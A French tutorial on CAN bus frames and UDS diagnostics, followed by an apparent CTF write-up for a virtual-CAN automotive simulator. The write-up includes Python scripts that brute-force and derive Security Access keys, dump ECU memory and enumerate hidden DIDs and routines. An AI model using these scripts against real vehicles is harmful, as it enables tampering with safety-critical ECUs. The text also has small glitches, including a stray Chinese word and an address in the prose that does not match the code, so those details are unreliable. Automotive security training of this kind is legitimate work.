Bus CAN : Architecture et Fonctionnement
Topologie
Le bus CAN (Controller Area Network) repose sur une topologie linéaire où tous les nœuds se raccordent à un même support physique de communication. Cette approche présente plusieurs atouts :
- Économie de câblage : une seule ligne partagée relie l'ensemble des équipements.
- Scalabilité : l'ajout d'un nouveau nœud se résume à une connexion sur le bus.
- Isolation des pannes : la défaillance d'un nœud n'interrompt pas les échanges entre les autres.
- Simplicité de déploiement : mise en œuvre et maintenance aisées.
En contrepartie, une rupture du bus constitue un point de défaillance unique, et des collisions peuvent survenir lorsque plusieurs émetteurs transmettent simultanément.
Modes d'adressage
Le CAN distingue deux modes : l'adressage point-à-point (message ciblant un ECU précis) et l'adressage diffusé (message destiné à tous les nœuds du réseau).
Structure d'une trame CAN
Une trame de données CAN se compose de plusieurs champs successifs :
- SOF (Start Of Frame) : bit dominant (0) marquant le début de la trame.
- Arbitration Field : détermine la priorité du message via l'identifiant.
- Control Field : contient le DLC (Data Length Code) indiquant le nombre d'octets utiles.
- Data Field : charge utile, jusqu'à 8 octets en CAN classique.
- CRC Feild : somme de contrôle sur 15 bits plus un délimiteur, calculée depuis SOF jusqu'aux données.
- ACK Field : acquittement émis par les récepteurs ayant validé le CRC.
- EOF (End Of Frame) : séquence de fin.
Le bit RTR distingue les trames de données (0) des trames远程 (1). Le bit IDE différencie les identifiants standard (11 bits) et étendus (29 bits).
ECU : Unité de Contrôle Électronique
Un ECU est un micro-ordinateur embarqué intégrant un processeur, de la mémoire (ROM/RAM), des convertisseurs analogique-numériques et des interfaces d'entrées/sorties. Un véhicule moderne peut en comporter plus d'une centaine, chacun dédié à une fonction : gestion moteur, airbags, infodivertissement, freinage, etc.
L'ECU moteur, reconnaissable à son boîtier rectangulaire entouré de connecteurs, collecte les données des capteurs (position de papillon, régime, température), exécute ses cartes de calibration, et commande les actionneurs en conséquence. Ses prérogatives s'étendent également à la sécurité : coupure d'injection en cas de sur-régime ou de vitesse excessive.
Protocole UDS (Unified Diagnostic Services)
Principes
UDS, défini par la norme ISO 14229, standardise les communications de diagnostic entre un outil de test et les ECU. Il s'appuie sur la couche transport CAN (ISO 15765), LIN ou K-Line. Le diagnostic s'effectue via le connecteur OBD-II du véhicule, permettant la lecture de codes d'erreur (DTC), la reprogrammation et le calibrage de capteurs.
Format des trames UDS sur CAN
Les identifiants CAN typiques en diagnostic sont :
0x7DF: requête diffusée vers tous les ECU.0x7E0–0x7E7: requêtes adressées à un ECU spécifique.0x7E8–0x7EF: réponses correspondantes (ID requête + 0x08).
Le champ de données CAN transporte une structure PCI (Protocol Control Information) suivie des données de service :
| Requête | PCI (longueur) | SID | Sous-fonction |
|---|---|---|---|
| Exemple | 0x02 | 0x11 | 0x01 |
Réponse positive : le SID est incrémenté de 0x40. Réponse négative : 0x7F + SID + NRC (Negative Response Code).
Gestion des trames multiples
Lorsque la charge utile dépasse 7 octets, le protocole ISO 15765-2 fragmente la communication :
- Single Frame (SF) : PCI =
0x0Noù N est la longueur. Utilisée pour ≤ 7 octets. - First Frame (FF) : PCI =
0x1N+ octet suivant pour la longueur totale (≤ 4095). - Flow Control (FC) : PCI =
0x3X(FS), Block Size (BS), STmin. FS=0 : continuer, FS=1 : attendre, FS=2 : débordement. - Consecutive Frame (CF) : PCI =
0x2Noù N est le numéro de séquence (1 à F, en boucle).
Services de diagnostic essentiels
Service 0x10 — Diagnostic Session Control
Permet de basculer entre différents niveaux de privilèges :
0x01: session par défaut (diagnostic de base).0x02: session de programmation (flash firmware).0x03: session étendue (diagnostic avancé, accès sécurité).
Service 0x22 — Read Data By Identifier
Lit des données identifiées par un DID (Data Identifier). Par exemple, 0xF190 correspond au numéro VIN.
Service 0x11 — ECU Reset
Provoque la réinitialisation de l'ECU. Sous-fonctions : 0x01 hard reset, 0x02 key off/on, 0x03 soft reset.
Service 0x19 — Read DTC Information
Récupère les codes de défaut stockés. Le sous-fonction 0x02 filtre via un masque d'état :
| Bit | Valeur | Signification |
|---|---|---|
| 4 | 0x10 | Défaut actif |
| 3 | 0x08 | Défaut confirmé |
| 2 | 0x04 | MIL allumé |
| 0 | 0x01 | Défaut historique |
Le format d'un DTC standard : premier octet encode le domaine (P=Powertrain, C=Chassis, B=Body, U=Network) et le chiffre de gravité.
Service 0x23 — Read Memory By Address
Lit directement une zone mémoire de l'ECU. Format : 0x23 0x14 [adresse 4 octets] [longueur].
Service 0x27 — Security Access
Mécanisme défi-réponse en deux temps : requête de graine (0x27 0x01), puis envoi de clé (0x27 0x02). Les sous-fonctions impaires demandent une graine, les paires fournissent la clé. L'algorithme de dérivation est défini par le constructeur.
Service 0x31 — Routine Control
Exécute des procédures internes à l'ECU. Sous-fonctions : 0x01 démarrer, 0x02 arrêter, 0x03 récupérer le résultat. L'identifiant de routine est codé sur 2 octets.
Environnement de simulation et défis pratiques
Le simulateur Harborbay sur VSEC fournit un terminal Linux avec interface CAN virtuelle (vcan0). L'environnement ne permettant pas l'installation directe de paquets Python, il convient de créer un environnement virtuel :
python3 -m venv venv_diag
source venv_diag/bin/activate
pip install python-can
Identification de l'interface CAN
Commandes ifconfig ou ip link révèlent l'interface vcan0.
Capture du trafic CAN périodique
candump vcan0
Résultat : une trame d'ID 59E, DLC 2, données 9E 10, émise à environ 1 Hz.
Lecture du VIN via UDS
Le VIN étant codé sur 17 caractères, une réponse multi-trames est nécessaire :
cansend vcan0 7df#0322f190
cansend vcan0 7e0#3000000000000000
Décodage de la réponse : 10 14 62 F1 90 = First Frame, longueur 0x14, SID 0x62 (0x22+0x40), DID F190. Les trames consécutives 21 et 22 contiennent les caractères ASCII du VIN.
Message de démarrage via ECU Reset
cansend vcan0 7df#021101
L'ECU redémarre et émet sur 0x7DF : 07 67 30 47 72 65 33 6E → décodage ASCII des octets 3 à 7.
Lecture de DTC confirmé
Utilisation du service 0x19, sous-fonction 0x02, masque 0x08 (défaut confirmé) :
cansend vcan0 7DF#03190208
Réponse : 7E8#075902083E9F01AB. Les octets 3E9F forment le DTC (P3E9F), 01 est le compteur d'occurrences.
Exploration mémoire — Service 0x23
Script d'exploration de la zone mémoire 0xC3F80000 avec incrément de 0xFF :
import can
import binascii
canal = can.Bus(interface='socketcan', channel='vcan0')
resultat_global = ""
addr_courante = 0xC3F83000
while addr_courante < 0xC3F86600:
a1 = (addr_courante >> 24) & 0xFF
a2 = (addr_courante >> 16) & 0xFF
a3 = (addr_courante >> 8) & 0xFF
a4 = addr_courante & 0xFF
payload = [0x07, 0x23, 0x14, a1, a2, a3, a4, 0xFF]
requete = can.Message(arbitration_id=0x7DF, is_extended_id=False, dlc=8, data=payload)
canal.send(requete, timeout=0.2)
reponse = canal.recv()
if reponse is not None:
hex_str = binascii.hexlify(reponse.data).decode('utf-8')
resultat_global += hex_str[6:]
# Trame de contrôle de flux
fc = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
canal.send(fc, timeout=0.2)
for _ in range(36):
msg_cf = canal.recv()
if msg_cf is not None:
donnee = binascii.hexlify(msg_cf.data).decode('utf-8')[2:]
if donnee != "00000000000000":
resultat_global += donnee
addr_courante += 0xFF
print(resultat_global)
canal.shutdown()
L'analyse de la sortie hexadécimale révèle la chaîne 666c61677b6d656d2b723334647d qui décodée en ASCII donne le flag.
Casse-croûte de sécurité — Niveau 3
Le défi indique un seed de 0x1337. L'algorithme est une inversion bit à bit : ~0x1337 & 0xFFFF = 0xECC8.
Casse-croûte de sécurité — Niveau 1
Procédure : entrer en session étendue (0x10 0x03), demander une graine niveau 3 (0x27 0x03), dériver la clé par inversion bit à bit, puis accéder au niveau 1.
import can
import binascii
bus_diag = can.Bus(interface='socketcan', channel='vcan0')
# Session étendue
req_session = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x02, 0x10, 0x03, 0, 0, 0, 0, 0])
bus_diag.send(req_session, timeout=0.2)
bus_diag.recv()
# Graine niveau 3
req_seed3 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x02, 0x27, 0x03, 0, 0, 0, 0, 0])
bus_diag.send(req_seed3, timeout=0.2)
rsp = bus_diag.recv()
graine_hex = binascii.hexlify(rsp.data).decode('utf-8')[6:10]
cle_calculee = f"{~int(graine_hex, 16) & 0xFFFF:04X}"
# Envoi clé niveau 3
req_key3 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x04, 0x27, 0x04, int(cle_calculee[0:2], 16),
int(cle_calculee[2:4], 16), 0, 0, 0])
bus_diag.send(req_key3, timeout=0.2)
bus_diag.recv()
# Graine niveau 1
req_seed1 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x02, 0x27, 0x01, 0, 0, 0, 0, 0])
bus_diag.send(req_seed1, timeout=0.2)
rsp1 = bus_diag.recv()
graine1_hex = binascii.hexlify(rsp1.data).decode('utf-8')[6:10]
cle1 = f"{~int(graine1_hex, 16) & 0xFFFF:04X}"
req_key1 = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x04, 0x27, 0x02, int(cle1[0:2], 16),
int(cle1[2:4], 16), 0, 0, 0])
bus_diag.send(req_key1, timeout=0.2)
bus_diag.recv()
bus_diag.shutdown()
Après déblocage, la lecture mémoire à 0x1A000 révèle des paires graine/clé dont le XOR constant est 0x5539AA17, suggérant un algorithme de dérivation par XOR avec cette valeur.
Énumération de DID — Service 0x22
import can
import binascii
bus_enum = can.Bus(interface='socketcan', channel='vcan0')
for did_h in range(0, 0xFF):
for did_l in range(0, 0xFF):
msg = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x03, 0x22, did_h, did_l, 0, 0, 0, 0])
bus_enum.send(msg, timeout=0.2)
rsp = bus_enum.recv()
code = binascii.hexlify(rsp.data).decode('utf-8')
if not code.startswith("037f"):
print(f"DID valide: {did_h:02X}{did_l:02X} -> {code}")
bus_enum.shutdown()
Le DID 0x0008 retourne une réponse positive avec les données attendues.
Énumération de Routine — Service 0x31
import can
import binascii
bus_rc = can.Bus(interface='socketcan', channel='vcan0')
for rid_h in range(0, 0xFF):
for rid_l in range(0, 0xFF):
msg = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x04, 0x31, 0x01, rid_h, rid_l, 0, 0, 0])
bus_rc.send(msg, timeout=0.2)
rsp = bus_rc.recv()
code = binascii.hexlify(rsp.data).decode('utf-8')
if code != "037f3131":
print(f"Routine {rid_h:02X}{rid_l:02X} -> {code}")
bus_rc.shutdown()
La routine 0x1337 répond positivement. Enchaîner démarrage (0x31 0x01 0x13 0x37) puis récupération du résultat (0x31 0x03 0x13 0x37) avec trame de contrôle de flux.
XOR mono-octet — Niveau 1 (espace utilisateur)
L'algorithme applique un XOR avec une clé d'un seul octet sur chaque octet de la graine. Par force brute :
import can
import binascii
bus_xor = can.Bus(interface='socketcan', channel='vcan0')
for cle_test in range(0, 0x100):
req = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x02, 0x27, 0x01, 0, 0, 0, 0, 0])
bus_xor.send(req, timeout=0.2)
rsp = bus_xor.recv()
chaine = binascii.hexlify(rsp.data).decode('utf-8')
graine = chaine[6:14]
o1 = int(graine[0:2], 16) ^ cle_test
o2 = int(graine[2:4], 16) ^ cle_test
o3 = int(graine[4:6], 16) ^ cle_test
o4 = int(graine[6:8], 16) ^ cle_test
verif = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8,
data=[0x06, 0x27, 0x02, o1, o2, o3, o4, 0])
bus_xor.send(verif, timeout=0.2)
rsp2 = bus_xor.recv()
resultat = binascii.hexlify(rsp2.data).decode('utf-8')
if resultat != "037f2735":
print(f"Clé XOR: 0x{cle_test:02X}")
bus_xor.shutdown()
La clé 0x20 valide l'accès. Après déverrouillage, l'envoi d'une trame de contrôle de flux déclenche la réponse multi-trames contenant le flag.
Référence des commandes CAN sous Linux
| Commande | Rôle |
|---|---|
ifconfig |
Afficher l'état des interfaces |
ip link |
Gérer les interfaces réseau |
candump vcan0 |
Capturer le trafic CAN en temps réel |
candump -l vcan0 |
Journaliser dans un fichier horodaté |
cansend vcan0 ID#données |
Émettre une trame CAN |
cansend ... && cansend ... |
Enchaîner plusieurs émissions |